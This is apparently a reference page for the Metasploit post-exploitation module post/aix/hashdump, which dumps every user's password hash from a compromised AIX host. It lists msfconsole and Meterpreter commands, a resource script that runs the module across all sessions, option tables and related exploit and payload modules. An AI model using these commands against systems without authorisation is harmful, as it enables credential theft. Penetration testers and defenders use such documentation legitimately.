AIX Gather Dump Password Hashes - Metasploit
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Module Overview
Name: AIX Gather Dump Password Hashes
Module: post/aix/hashdump
Source code: modules/post/aix/hashdump.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): AIX
Target service / protocol: -
Target network port(s): -
List of CVEs: -
Post Module to dump the password hashes for all users on an AIX System
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/aix/hashdump
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/aix/hashdump
msf post(hashdump) > show options
... show and set options ...
msf post(hashdump) > set SESSION session-id
msf post(hashdump) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/aix/hashdump")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
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Msfconsole Usage
Here is how the aix/hashdump post exploitation module looks in the msfconsole:
msf6 > use post/aix/hashdump
msf6 post(aix/hashdump) > show info
Name: AIX Gather Dump Password Hashes
Module: post/aix/hashdump
Platform: AIX
Arch:
Rank: Normal
Provided by:
theLightCosine <[email protected]>
Compatible session types:
Shell
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Description:
Post Module to dump the password hashes for all users on an AIX
System
Module Options
This is a complete list of options available in the aix/hashdump post exploitation module:
msf6 post(aix/hashdump) > show options
Module options (post/aix/hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the aix/hashdump post exploitation module:
msf6 post(aix/hashdump) > show advanced
Module advanced options (post/aix/hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the aix/hashdump module can do:
msf6 post(aix/hashdump) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the aix/hashdump post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(aix/hashdump) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
You must run this module as root!
Here is a relevant code snippet related to the "You must run this module as root!" error message:
54: username = ''
55: hash = ''
56: end
57: end
58:
59: else
60: print_error("You must run this module as root!")
61: end
62:
63: end
64: end
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Related Pull Requests
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2525 Merged Pull Request: Change module boilerplate
- #2304 Merged Pull Request: Fix load order in posts, hopefully forever
- #2069 Merged Pull Request: [SeeRM:#8135] - Be able to show where store_loot saves a file
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
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See Also
Check also the following modules related to this module:
- exploit/aix/rpc_cmsd_opcode21
- exploit/aix/rpc_ttdbserverd_realpath
- payload/aix/ppc/shell_bind_tcp
- payload/aix/ppc/shell_find_port
- payload/aix/ppc/shell_interact
- payload/aix/ppc/shell_reverse_tcp
- post/multi/gather/unix_cached_ad_hashes
- post/multi/gather/unix_kerberos_tickets
- post/multi/manage/sudo
Authors
- theLightCosine
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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